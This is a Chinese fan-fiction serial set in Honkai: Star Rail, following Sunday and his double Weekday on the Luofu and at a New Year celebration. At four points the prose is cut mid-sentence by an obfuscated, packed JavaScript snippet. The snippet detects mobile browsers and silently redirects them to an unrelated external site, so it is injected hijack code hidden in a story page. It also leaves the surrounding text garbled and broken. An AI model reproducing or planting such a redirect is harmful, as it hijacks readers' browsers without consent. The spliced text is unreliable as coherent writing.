作为一位成年狐狸，椒丘钟爱的娱乐活动自然不似年轻人那般活力十足。 喝茶、吃辣，才是正道。 火锅店人多口杂，毕竟不是谈事情的地方。椒丘邀请他们去他在长乐天租住的宅院一起喝茶赏月，并且等待貊泽回来。 热气腾腾的茶碗刚端上来。 一个黑色的影子便闪进了院落里。 “有麻辣火锅味。”戴着面罩的男子认真地嗅了嗅空气的味道，“将军嘱咐了，你眼睛还没好，不能吃辣。” “咳咳。”白露忍俊不禁地呛了一口茶。 椒丘抖抖耳朵，打算糊弄过去，便指了指星期日和工作日，介绍道：“貊泽，这两位是来自匹诺康尼的旅客，来看演唱会的。正好貊泽已经回来了，我们来捋一捋事情的来龙去脉吧。” “那位会唱歌的翅膀女孩。”貊泽评价道。 “那这里这个就是会唱歌的翅膀男孩。”工作日富有童心地指了指星期日。 貊泽饶有兴趣地观察起他们的耳羽。 椒丘说罢，斜向正在快乐地吃琼实鸟串的白露，这琼实鸟串是星期日在路上特意给她买的，白露则回敬了他一杯仙人快乐茶。 椒丘的眼疾未愈，白露却仍旧感觉到令人毛骨悚然的视线落在自己身上。 “好吧，我说我说。”白露摸了摸小小的龙角，“是景元将军让我这么干的。” 白露再次咳了一声，继续说：“上次将军来找我看诊，我趁着没有别人在，偷偷和他告了一状。然后他让我耐心等一个契机，我也不知道将军什么意思。于是我等啊等，直到今天我溜出来逛街，结果刚好收到将军发来的短信说，抓到我偷跑出来玩了，叫我去找街上衣服最华丽的大哥哥一起玩——嘿！你说怪不怪？他怎么知道街上有什么人？” “罗浮将军不愧天机神策。”椒丘多解释了几句，“这位匹诺康尼的旅者莫要觉得奇怪。在下是曜青将军的幕僚，因疾病困扰，所以暂留罗浮养伤。我们曜青的天击将军与罗浮的神策将军，也算是相交好友了。” “我也是——”貊泽接话。 白露答：“将军的好友？” “天击将军帐下的影卫。算是椒丘的同事，也算是椒丘的好友。” “你小子。”椒丘咬牙切齿地笑了笑，“说话别太有歧义。还有，说正事。” 貊泽擦了擦指骨上戴着的甲刺：“那些人我已经解决掉了，非常干净。” “哪有人如此自卖自夸的？”椒丘无奈。 “我指地上很干净，一滴血没留。” “所以他们到底是什么人，你问出来了吗？”椒丘又问。 “问出来了。” 貊泽顿了顿。 “是药王秘传和同谐「家族」的人，还有几个持明龙师。” 听到这里，星期日的耳羽微动，他心下了然地抬起眼眸说道：“这件事情不瞒各位，我是自匹诺康尼启程的旅者，确实与「家族」关系匪浅。无论是罗浮将军，还是仙舟龙尊，亦或者是这位椒丘大夫，今天所为的都是这个吧？” 椒丘莞尔：“什么瓮中捉鳖、激浊扬清，可是景元将军的拿手本事。好计策不嫌多用几次，好用就是最棒的。” 星期日直白地回复道：“仙舟的内务与我无关，我作为外人也不该横加干涉。何况我并不甚了解持明龙族与仙舟长生之族，以及药师之信众间的复杂纠葛。” “不过那位与你有关。” “那位。”貊泽附和道。 —— 神策府。 景元将军仍在闭目养神中，大概在梦里面回忆起了那头叫朔雪的白狮，睡得格外香甜。 罗浮仙舟入境管理处的疏月过来汇报工作，被青镞拦下了好一会，直到将军自个儿醒转才得以有开口的机会。 “将军，目前快速签证核发工作正在稳步进行中，接待人次逾万名……”疏月打开笔记本，嗓子眼绷得紧，十分紧张。 景元安然一笑：“这些冠冕堂皇的话就没必要重复一遍了。入境管理处的工作中可有发现可疑人士？” “嗯……”疏月一连翻过好几页，深呼吸道，“除了此前彦卿将军带走的科斯基兄弟外，还有一位自称是导演的忆者，名叫芮克。” “因为他执意携带活体生物进入仙舟，我方本打算拒签。但他离开队伍之后不久返回，并新携带了一位叫做康斯坦汀娜的女性助理。他们的证件和资料齐全，于是我们审批通过了。考虑到可能的风险，我们通知了云骑对其进入仙舟后的轨迹进行了监控。” “他执意携带的活体生物是什么？” “是一只青蛙。”疏月回答。 “你们做得很好。”景元表示肯定地点了点头，“处理非常合乎规范。还有其它异样吗？” “除此之外还发现了「家族」的身影。不过鉴于这次是代表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673773|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「家族」的知更鸟女士召开演唱会，「家族」的人前来观看是十分合理的，所以我们没有拒绝他们的访问。同样的，已经汇报给云骑军进行相应的监控。” “这场盛会兹事体大，需要格外小心。” 景元对入境管理处的工作稍微提点了几句，便让他们下班回家去了。正巧工作人员离开的时候，与买完剑回来的彦卿打了个照面。 彦卿怀里抱着柄崭新的宝剑，兴致高昂：“将军，金人巷今天可太火爆了，到处都在大排长龙。” “有大量的游客到来，也促进了罗浮的复苏，是好事。”景元笑眯眯地说道，“你去外头转了一圈，可发现了什么异样之处？” 彦卿仔细思考了下，回答说：“路上的‘影子’变多了。” 景元颔首：“树大易招风。仙舟在明，一举一动都会引来蠢蠢欲动‘影子’。但我们并不可能因为惧怕风险而故步自封。” 彦卿若有所悟地接着说道：“所以我们不仅要防范于未来，还要主动出击。” 景元很是欣慰地说：“彦卿啊，你知道剑首、太卜和将军三者的区别在哪里？” 彦卿诚恳地摇了摇头。 “剑首会用剑，太卜会卜算。”景元面上一本正经，语气却犹然轻松，“而将军会用人。” 彦卿长长“嗯”了一声，好像品出了什么：“所以将军会让合适的人去处理合适的事。哪一个阵营的事，就该由哪一个阵营的人来解决，是最有效率，也是最有效果的。” “没错。” 将军的声音回荡在神策府的廊柱之间，绵延不绝。 —— 形势现在挺明了的。 罗浮的持明龙师一直有自己的心思，未必想让罗浮按照将军的期望发展。他们上次的阴谋没有得逞，所以这次又打算出手。 知更鸟小姐的演唱会令各色人士涌入仙舟，正好方便了他们与其它势力勾结。 为了暂时保护白露的安全，椒丘请她在院内小住几日。椒丘并非罗浮人士，并不受罗浮习俗掣肘，不必像景元那般顾忌龙师的意见，在帮助龙女的事情上自然多了几分自由。 至于星期日和工作日，也被椒丘力邀留下。星期日的意思当然是不必麻烦，然而工作日直接对他问道：你当真有那么多钱住客栈吗？ 这是一个直击灵魂的问题。 所以星期日不得已住下了。 “啊——好舒服！” 到了椒丘为他们准备的客房里，转眼间工作日已经泡完澡，惬意地躺在床上了，转头对正在费力脱衣的星期日说道：“没想到绕了一大圈，这次罗浮的将军竟然希望你来尽身为哥哥的职责，来保护好她。” “她不需要我的保护。” 星期日忍着痛说道，将外衣褪下。之前「家族」的那个修士使用希佩的力量企图献祭他的时候，除了手上钉穿的伤口，他肩膀处也为荆棘划伤了。 现在血迹干涸之后，衣服和伤口的血肉粘合在了一起，很难撕下。 “你嘴上这么说，心里才不是这么想的吧。”工作日起身走到了星期日身旁。 星期日不理他，盯着镜子里的自己，拿出一卷创伤药想要处理伤口，然而那张一模一样又不尽相同的面孔再次恼人地闯了进来。 整整七秒钟。 他的动作和呼吸停顿了整整七秒。 因为另一个顽皮的自己强硬地扯开了他的衣领，让他的肩膀露了出来，然后十指的接触在极其容易留痕的肌肤之上刻下了强烈的印迹。 另一个自己那蛊惑性的低语在他耳边徘徊：“你痛吗？” “折翼与坠落的感觉，痛吗？” 16.罗浮仙舟（6） 星期日凝视着镜中的自己。 “很痛。” 当他试图用自己那对不成熟的耳羽飞翔时，第一次摔到地上时，他逐渐地察觉到了可怖的事实。希望的幻灭，犹如被剖开的心。他意识到自己无论怎么努力，永远也无法实现那个缥缈的飞翔之梦时，一切变得不同了。 他无法继续天真、继续幻想了，必须成长起来，开始承担责任，向着自我献祭的命运进发。 工作日的手指拨弄着他颈侧垂下的两缕头发，缠绕、扭曲，然后慢慢松开。 这两缕头发并不是天环族的羽翅，只是长得像罢了，无法依凭它来振翅高飞。 脖颈这样私密的地方被人触碰的感觉很难受……不。很特别。平时习惯于包裹在层层衣服的遮掩之下，严谨守序，冰冷无温。 其实还隔了一层薄薄的手套丝绒。 无论是戒环、手套，还是其它的所有，都是为了欲盖弥彰罢了。工作日开始摆弄他的手指，转着骨节上头的金属戒指，鼻梁贴着他肩胛处的那块区域，吻在了后背之上。 星期日思考得太出神了，以至于没有表示抗拒，只是任由他移动。 他的失败不容否认。他犯了错误，违背了戒律，有了自己的思想，所以才会痛苦。他妄想拯救所有人，这就是他最大的错误。 “但是你真的错了吗？” 工作日抬起眼，指腹逐渐往下挪移，在他的腰际勾勒出肋骨的形状：“在「家族」的古老典籍中，他们定义了人类的起源。神取下自己的一根肋骨，仍在地上，便化作了「人」。然而「人」很快被驱逐出神所造的伊甸园，因为他们拥有了自我意志，不愿再听从神的旨意。” “那么，「人」错了吗？” 镜子里映照出他的面孔，更加具有侵略性的神情，更加起伏不定的语调，更加坚定的自我认知。 调皮、轻佻，充满自信，毫无顾忌——没有被规训过的一个人格。 手指按在肋骨上的触感，仿佛身体被钝刀割开。 星期日反思着：“在匹诺康尼的故事里，我所犯的错误就是妄图成为所有人的「神」。人应当具有自我意志，而我不该为他们做出选择。” “毕竟……美梦再好，也是要醒来的。” 工作日轻哼了一声，湿漉漉的气息喷在他肩侧：“既然美梦如此甘甜，为何一定要醒来呢？” “酣然入梦，没有血，没有泪。” 工作日又故技重施了。揉着他的腕管，轻轻地扼住搏动的青红血脉。然后挑动着手套的薄边，就像这样弓起手指的关节，便会撑出一个漂亮的弧线，浅藏在拉伸开来的布料之下。 “醒来，才能进入下一日。” 星期日张开耳羽，柔和地拍了拍工作日的眼睛、鼻梁和唇侧，抽身避开。 工作日笑了笑，摊开手，一副意兴索然的样子。 “去见她吧。”他说。 “我去沐浴了。”星期日回答。 —— 温水流淌在光滑的平面上。 镜子为雾气濡湿。 他用洁净想水扑打血气翻涌的面颊，洗去尘埃，撩开两侧的额发。 镜子里的自己变得模糊、蒙昧。 带着光的重影。 他突然感到没来由的恐惧、不安，和怀疑。工作日的存在，证明是可以说出不一样的话，做出不一样的表情，拥有不一样的情感——走上不一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686976|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的道路。 与他迄今为止截然相反的道路。 舍弃「秩序」和「同谐」，并不是很超出想象；奔向「开拓」的无畏，是可以接受的；然而余下的那些——「欢愉」、「均衡」、「神秘」、「巡猎」以及其它…… 他从来没想过会选择它们。 绝无可能。 可是宇宙间没有什么是绝对的。他现在意外——亦或者说——在幕后某人的设计下，获得了一份「欢愉」的馈赠。以及，他知晓了「家族」正在策划的阴谋，而「巡猎」的代言人邀请他合作。 水碰到伤口的时候，带来了滚烫的痛感。 不。 他的错误不在于……，而在于…… 不同命途的征伐永无休止。 因为他所建立的乐园必不可免面对外来的破坏和暴力，永恒的安宁是一个伪命题，它永远不可能实现。 正如撒旦变作的毒蛇潜入了乐土。 而「人」因此堕落。 —— 他回到房间里的时候，工作日坐在窗边的桌子前，手边摆着展开的打包盒：“可惜这里看不见星星。” 星期日无视了他的话语，关上灯。 “该睡觉了。” 漫长无边的沉默，窗外的夜景比室内还要明亮，工作日苦笑了一下，别过头去看风景。光照射在他的脸上，仿佛在为雕塑镀上一层影。 他又该如何被定义？ 他握着那张白色的假面，试了试。不大不小，确实正好，非常合适。但是这张脸藏在面具的背后太可惜了。 “你。” 工作日在黑暗中问道。 “真的不可以接受我的存在吗？” 17.罗浮仙舟（7） 星期日做了一个梦。 梦见「欢愉」的星神和希佩共同携手坐在他的窗边小桌前吃着工作日打包回来的小甜点。希佩转过来对上他的那张面孔笑得很慈祥和蔼。 阿哈高兴地举起茶杯邀请他加入。 星期日微张嘴唇，严肃拒绝。 挂满五彩面具的星神哈哈一笑，全身上下的面具都在窸窸窣窣地抖动，然后光影变幻之间化作了一个全身金属色的形状，胸中的蓝黄两颗光球交替轮转，祂说道： “这个世界需要平衡。” —— 啪嗒。 星期日从梦中惊醒。 一瞬间坠落到寒冷的怀抱里，嘴唇和嗓子发涩，四肢仿佛不受自己控制般。深夜安静到可以听到时秒分钟的声音。 他记得，那是「均衡」的星神。 为什么「均衡」要来干涉他的命运？ 星期日平躺在床上等待到呼吸平静，才缓缓地起身，拉开了床边的灯，喝了一口水。 冰冻的感觉划过食道，如同吞咽石子般难受。 台灯在地上投下一个不规则的光圈，稳稳地发出嗡鸣。小孩子最怕在梦中突然醒来，他们丰富的想象力总让他们以为夜影里藏着恐怖的怪物。然而大人只会对这种想法感到不屑一顾，因为他们已经放弃了畅想的能力。 “睡不着了吗？” 工作日从后面逼近，把手挤进他的胳膊下方，这样环抱住他的姿势，简直就如同从他身体里长出的鬼魅一般，魂牵梦附。 “放手。”星期日冷漠地命令道。除了少数必要的敌人，他只会对自己这么凶狠。 然而工作日突然一用力，按在他的胸口上，把他带倒在床上，脑袋重重地砸中了枕头，陷下一个阴影。 “你做什么？”星期日的眼尾微跳。 “你还没有回答我的问题。你从来不回答我的问题。” 工作日一直在发问。 简直像小孩子一样。 星期日凝视过去，他的瞳孔里空无一物，除了自己的倒影。恍惚间好像这个白色的倩影在茫然的光辉之中，近近远远地弹奏着一种旋律，符合着他心脏跳动的节拍。 “我不喜欢自问自答。”星期日回避了话题，侧过脸闭上眼睛，重新尝试入睡。工作日没有继续肆意妄行。 虽然星期日并没有睡着，但夜晚平稳地过去了。 第二天，他起得很早。椒丘和白露同样起得很早，邀请他一起去鳞渊境采药草。星期日当然对仙舟医术一窍不通，但椒丘和白露的邀约明显也意不在此。 这种事情让开拓者来干应该更为合适，但宇宙那么大，开拓者是很忙的。 她不可能事无巨细地照顾到每一个世界，所以还是利用好近在眼前的机会。 “来都来了——”椒丘这样劝说道。 椒丘没有问过他的来路，甚至没问过他的名字，却能凭借一张巧舌如簧的嘴忽悠过看守鳞渊境的龙师，说这人是星穹列车的无名客。 星穹列车曾经在建木异变之事对罗浮帮助非常大，自然谁也不敢驳了无名客的脸面。 就这样，他们顺利地来到了波海翻涌之间的隐秘地带。 白露一溜烟就跑没影了，她对于鳞渊境颇为熟悉。星期日本不放心她一个人乱跑，但是工作日自告奋勇地跟着她玩。 星期日大概无法想象如此热爱洁净的自己居然能容忍蹲下来后的衣摆拖到沙地上而沾满砂砾，然而工作日兴致勃勃地和白露在沙滩上探讨起了贝壳的形状。 “小孩子都是这样。”椒丘感慨。 不过若是说实话，和持明族的寿命比起来，他也称不上长辈。 星期日回头去观察眼前伫立着的苍龙石雕。古老的图腾配上孤高的石壁，石壁向两边打开，中间镇守着瞭望古海的不朽龙尊。 果然—— 星期日觉得这位龙尊长得极其眼熟。 “哎呀。”椒丘呵呵一笑。 椒丘绘声绘色地讲了讲这位传奇龙尊的故事，星期日听到一半就明白了。持明的龙尊原来也成为了开拓宇宙的漂泊旅者。他本了解过丹恒故事的部分残片，如今听到了仙舟本土版本，意味倒是有所不同了。 在他所创造的太一之梦的最终决战时，丹恒对他说，别被过去束缚。关于是非功过，错误与否，他们两个人都无时无刻不在被别人评说。 这趟鳞渊境的旅程其实算是一个小插曲。 星期日原本打算立刻去见知更鸟的——他认为解决工作日是目前第一级别严肃的事情——列车即将启程，如果他无法及时赶回…… 不知为何，是哪位忆者做了什么手脚吗？ 他的直觉感到了不寒而栗的担忧，翁法罗斯一行，他必须与星穹列车一道出发。不然的话，恐怕进入那片地界之后，将遭遇无与伦比的困境。 就算他再抗拒与知更鸟会面，他也必须这么做了。 一路上，椒丘有意无意地引着星期日往古海宫殿的某些地方走，星期日顺理成章地在废墟里捡到了一些亮晶晶的东西。 星期日用天环的能力探查了一下这个晶莹残片，竟然感知到了「不朽」的气息。看来，他之前与这位大夫以及那位龙女的相遇，目的就是为了这个。 “因为百年前的种种事端，罗浮的龙尊传承遇到了问题。”椒丘摇摇扇子，“兹事体大，牵扯众多，罗浮的将军不便亲自出手，所以只能拜托您帮他带这东西过去了。” 星期日颔首：“您盛情款待了身为异乡来客的我们，这样的人情，我理当用心回报。只不过丹恒先生执意摆脱过去的束缚，不知道他是否愿意接受。” 椒丘托起下巴，眼角弯了弯：“或许可以说，这份力量并非关于过去，而是关于未来。无论如何，还是收下为妙。” 星期日想起此前他也接到过「命运的奴隶」艾利欧邀请他加入星核猎手的信件，结合其它预示和迹象——谐乐颂中曾写道，需得众生归位，便会开启最后的审判之日。看来现在宇宙中有人正在为不远的未来会发生的「众神之战」准备着。 星期日没有继续推拒，收下了碎片。考虑到其中蕴藏着星神力量，他谨慎地将他保管在了胸口处的安全位置。 椒丘轻松地动了动耳朵，自然地转移了话题：“没想到只是随意出来走走，时间竟然过得如此快，转眼间好像演唱会快要开场了，我和人约好了要一起……” 那乌鸦般的黑影骤然出现。 “你的天环。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711253|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 貊泽的视线移到星期日的脑后，问道：“你可以看看他的眼睛能治好吗？” 星期日当然不是医生，没办法治病。不过他听得懂貊泽的意思，这位狐人医士的眼病未必全然是出于生理上的受损。 他伸出手，利用他们天环族的特别感知能力，一股温暖但荒芜的热流淌过他的心，他仿佛站立在一片寂静的荒原上，远处是鲜红的花海和红日。 克制的「虚无」。 “你小子，别随便麻烦别人呐。”椒丘抬起扇子，拍打了下貊泽的胳膊，貊泽满脸无所谓他发火的样子。 星期日回答说：“椒丘大夫，请原谅我的冒昧，生理上的创伤固然可以医治，心理上的创伤也需合理的调解。有时，若是心中存有抵抗的情绪，也会造成久病难愈的情况。” “这也是没办法的事情啊……”椒丘用非常轻的语调说道。 “谢谢。”貊泽点了点头。 貊泽的道谢虽然简单利落，但星期日听得出来他很认真。 “大哥哥们！” 白露采完了药草，又尽情地玩了一圈，牵着工作日的手回来了。工作日很好地完成了看护小孩子的任务。 “好了，我们也该去干正事了吧。”工作日明快地说道，对着星期日晃了晃耳羽。 他们几个正打算出发离开鳞渊境，却突然遇到一大群云骑卫兵冲了出来，将他们团团围住。 为首的长着龙角的一人命令道：“保护龙尊，人人有责！快把这群擅闯圣地、偷盗持明重宝的家伙抓起来，关到幽囚狱里！” 对方蜂拥而上，首先将白露拉开了。貊泽的匕首正要出鞘，椒丘令人莫测地伸手拦住了他的动作，任由龙师指挥的云骑逮捕了他们。 —— 神策府中。 “彦卿，我来考考你。”景元读完手头的报告，对着年轻的小侍卫笑道。 被叫到名字的少年，立马绷紧了神经，想要发挥最好的状态。 “别紧张。”景元拍了拍他的头顶，“要成为能够统领一艘仙舟的将军，不仅要巨细无遗地掌握联盟内部的状况，还要充分地了解寰宇当中的各类利益往来。” “所以，彦卿，你来说说，同谐星神的化身「谐乐众弦」分别有哪几位？” 彦卿有些紧张，将军真是考了他一个偏僻的问题。他凭借记忆，先介绍了有「无限夫长」之名的阿伊里涅夫这一位代表着希佩的强大力量。接着是「齐响诗班」，仙舟获得的情报指出，橡木家系的家主星期日正是在匹诺康尼召唤了多米尼克斯的降临，企图复活秩序星神。此外还有「万籁剧院」康斯坦汀娜与「至福舞会」比雅特丽丝两位女性化身—— 彦卿突然意识到了什么：“啊！在代表着「同谐」歌声的康斯坦汀娜！我明白了。” “很好很好。”景元欣然感慨道。 同时，竞锋舰正在紧锣密鼓地筹备着知更鸟演唱会的开幕。除了已经到达现场的知更鸟小姐，还有两位特邀嘉宾乘坐摆渡船刚刚抵达。 走下船的芮克先生好奇地环顾四周，露出“啊，这就是仙舟风格”的奇怪表情。他的身边跟随着一位容貌姣丽的女子，她递出的身份证件上显示姓名和身份为：康斯坦汀娜，导演助理。 18.新年贺文 【新年贺文】 “从今天开始。” 星期日笨拙地将扣子塞进缝隙里，系紧衣服。笨拙这个词本来与他毫不搭界，但他现在紧张到有些不安，以至于呼吸的频率都有微小的改变。 以前，他站在匹诺康尼大剧院的光辉里，按照鸢尾花家系事先准备好的稿子，发表一板一眼的新年贺词。冠冕堂皇的言辞中，把一切苦痛和悲伤掩盖，只剩下无尽歌颂的繁华。 赞颂「家族」，赞颂「希佩」的荣光。 他像一个傀儡一样，向恳求期盼的听众撒下赐福的礼花。他反复强调匹诺康尼的梦境多么美好，然后说到最后，他自己都无法相信这个谎言了。 “你太慢了。” 工作日站在他身后说道。 他在桌面上滚着戒指玩，让首尾相衔的戒指来回翻动，发出清脆的声响。他屈起指骨一弹，银色的金属滚出一道漂亮的直线。在桌角岌岌可危之际，星期日默不作声地一扣手腕，戒指安稳地停在他掌心之下。 “他们都在等你呢。” “我知道。” 星期日重新戴好银戒，确保它们在指骨上的位置毫厘不差。工作日慵懒地撑着脑袋，打了个哈欠，好像在对他花费太多时间整理仪容发出无声的抗议。 星期日推开门，工作日跟在他的身后，露出暧昧不明的微笑。 星穹列车已经习惯了筹备这样热热闹闹的节日，他们拥有非常古朴的传统。他们相信，不用宏大的场面，只需要充足的漂亮装饰、丰盛的大餐、清扫一新的家具和每个人之间真挚的祝福就足以。 星期日打开派对车厢门的时候，浓烈的气息汹涌澎湃地扑打在他的脸颊上，像是在荒芜沙漠中被狂风席卷了一遍，然后睁开眼发现面前是丰茂的绿洲。 列车已经换上了完美的新年涂装，所有人齐聚同一个地方，举杯同庆。 姬子轻哼着歌提起咖啡壶往滤纸上倾倒，她的动作优雅无比，水流在浓香的咖啡粉上润湿出完美的圆圈。 “你来了，快尝尝吧。” 姬子将花纹典雅的瓷杯推过来，她向每一个进入车厢的来客赠予了自己的“礼物”。星期日礼貌接过来，余光瞥见旁边端坐的杨叔用眼神充分地暗示了他，很明显，杨叔面前摆着的咖啡杯里的咖啡看起来完全没动过。 开拓者小跑过来往星期日的杯子里挤了一泵树莓糖浆，这咖啡尝起来才像是能喝的样子，看来他们对此颇有经验了。 星期日转过身，工作日正趴在窗口和三月七一起讨论究竟是如何把装饰花环挂到星穹列车的宽阔舷窗外面的。帕姆跳起来对他们大声喊道，这是秘密、秘密！ “今天有什么计划吗？” 工作日兴高采烈地问道，这双金色的眼睛少见地笑得开心。星期日发觉自己竟也为这种热切地氛围感染了，变得期待起来。 三月七激动回答：“当然！” 美好的新年第一天从完美的出行计划开始，留下丰富的印象和记忆，珍藏进每分每秒的回想中。 「第一步：去罗浮仙舟采办年货。」 这个任务理论上应该交给成熟稳重的年长组，比如姬子和杨叔。但是考虑到丹恒对仙舟特产更为熟悉，所以一定要带上丹恒。开拓者是个爱凑热闹的，因此她也要跟着去。既然丹恒和开拓者都去了，当然不能落下三月七。如此一来，剩下的人留守列车肯定会感到不公平和孤独，最好的办法只能是—— 最后，还是大家一起去了。 “这宣夜大街可真热闹！风景还好！” 到达目的地，现在轮到一人发表一次感谢环节，首先登场的是三月七，她的语言质朴直白，简洁易懂。接下来，登场的是开拓者：“可惜没有足够多的垃圾桶。” 开拓者的语言颇具诙谐意味，下面轮到丹恒小兄弟：“故地重游，复增感慨。” 丹恒的话语文雅含蓄，富有韵味，不愧是仙舟本土人士！最后是新加入列车队伍的星期日：“这里的风景和匹诺康尼很不一样。” 还有工作日：“喜欢，好玩。” 这场对决难分彼此，所以三月七立马忘记了此事，投身到购物的大业当中。她一路上忙着跟人炫耀自己新学来的罗浮砍价秘诀，砍得口都渴了。 于是他们来到小吃摊前面，因为听小摊摊主推销说罗浮将军每天都要喝一瓶热浮羊奶，三月七当机立断地买下了多人套餐，对其口感连连称奇。 “试试？” 除了热浮羊奶，工作日还朝他递过来一杯仙人快乐茶，含糖量超标、没有任何营养价值，但是能给人带来快乐的甜食。 工作日眨了眨眼，星期日骤然产生令人惊诧的陌生感，原来他这张脸也可以做出如此轻松的动作。 真是新奇。 “好东西，全买了！” 星期日试探性地咬着吸管，吸里面软糯的丸子时，工作日朝着旁边货摊的老板买了许多花里胡哨的小玩意。他们俩的审美一脉相承，这点从小到大确实没怎么变过。工作日买的东西，星期日倒是没什么意见。 “这个要送给开拓者，这个送给三月小姐，这个送给丹恒先生，这个送给瓦尔/特先生，这个送给姬子小姐，这个送给知更鸟……” 无懈可击的安排。 “还有这个，送给——” 星期日接过来，是一枚亮闪闪的戒指，并不是很昂贵的材质，不过混在他手上那些戒环当中，也不显过于突出。 「第二步：去雅利洛六号欣赏极光」 姬子和杨叔拎着大包小包的年货回列车了，这种悠闲惬意的活动就留给小辈们吧。三月七、丹恒和开拓者肯定是要去的，问到星期日和工作日的意见时，星期日认真地思索了一下，然后笑着说，嗯，在匹诺康尼没有见过真正的雪呢。 梦，毕竟只是梦。 雪原寒冷，风吹得人脸颊通红还发涩，但是到了山顶上，见到绚烂的光彩，也不觉得有什么累的了。星期日觉得踏在雪上的感觉颇为特别，软绵绵的，又感觉很实。 他一转头，工作日就气喘吁吁地叉起腰，意思是要他扶扶。星期日嘴角一扬，故意扭头继续往前走，工作日只好乖乖地跟上来。 听到星穹列车的无名客要来拜访，朗道家族的那位雪原探险家当仁不让地成为了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726757|155980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的导游。玲可虽然喜欢一个人独处，不过招待远道而来的客人她也感觉很开心。 要露营的话得扎帐篷和点篝火，在出发之前，他们就同玲可说过了，这次不留下过夜。贝洛伯格的大家好像不约而同地给他们发了短信说，有持续好几天的极光出现，诚邀他们来看看。虽然行程匆忙，也一定是要赴约的。 玲可坚持带上了篝火木头和铜炉，准备在山顶给他们煮点热汤尝尝。三月七他们闹腾着拍照留念，星期日则坐下来帮玲可点篝火。 流动着的极光仿佛天空在呼吸般，如梦如幻，静谧地垂落在他们身上。 工作日掏出几根木头，故意瞧了星期日一眼，星期日心领神会地明白了他的意思，然后无情地没收了他手里的钻火棒和钻火板。 “慢悠悠一点也没什么不好的啊~” 工作日笑着说道，星期日拿出了打火机，以一种正常的方式快速点燃了篝火。丹恒和玲可一起处理好了食材，倒进锅里，很快汤羹冒出咕噜咕噜的泡泡。 星期日舀了一勺汤，汤散发着缭绕的热气，他吃东西的时候腮帮子会微微鼓起来，头发和耳羽被带着颤悠。 雪花落到他的头顶上，很快在银灰色的头发中融化不见。转瞬之间，一锅汤被大家吃得干干净净，虽然不知道里面加入了什么精妙的配料，但是围着燃烧的篝火，在冰天雪地的茫茫之中喝一碗热汤，总是让人觉得心情舒畅的。 最后，他们所有人在极光之下留下了一张整整齐齐的大合照。 「第三步：在星穹列车上开启烛火舞会」 他们风尘仆仆地回到了星穹列车上，带进了罗浮仙舟的烟火气和贝洛伯格的雪花。三月七急急忙忙地跑进房间换了身漂亮的小礼服，大家都夸她好看。 等到帕姆端上来庆贺新年的橡木卷蛋糕，蛋糕精心制作成了列车的模样，开拓者第一时间点亮了所有烛火，宣告了舞会的开始。 黑天鹅对丹恒说，人到齐了，该放音乐了吧。于是丹恒面无表情地掏出一盘黑胶放进点唱机，点唱机吱呀作响，吐出了一首激昂热血的野火。 放错了。 丹恒再次面无表情地拿出碟片，重新更换了正确的新年舞曲。 开拓者想出了一种三人轮舞的方法，硬要拉着三月七和丹恒进行实践。黑天鹅实在难以忘怀曾经和那位虚无令使共舞的滋味，觉得寻找一位美丽温柔的女士作舞伴，红发的领航员小姐成为她的完美选择。杨叔表示人老了，跳不动了，和帕姆两个人专注欣赏风景。 “把手给我。” 工作日端正地走到星期日面前，自信满满地要求道。他穿着星期日以前喜爱的白西服，戴着优雅的白手套，样子像是位高贵的绅士，然而心智却截然相反。 “我的荣幸。” 星期日将手覆上他摊开的掌心，分明握得更紧，他凝视着自己深邃的瞳孔，他不再畏惧，不再自我疑问。今夜无需他发表祝词，只需尽情共舞，飞扬衣摆。 在音乐旋律的间隙里，工作日在他耳边说了一句，新年快乐。 星期日同样对自己回答道： “新年快乐。” 19.罗浮仙舟（8） 竞锋舰上。 距离演唱会开场还有一小段时间，知更鸟已经做好妆造，换了美丽的新装。在候场的间隙，她听到外面的欢呼声充满热情，整艘舰船都坐满了人。 “您在仙舟也大受欢迎啊。”演唱会主持人对她感慨道，同时引荐了远道而来的两位贵宾，“这位是芮克先生和他的助理，他们受蒙托尔星系的「家族」邀请，来为您的演唱会拍摄记录片。” “欢迎。” 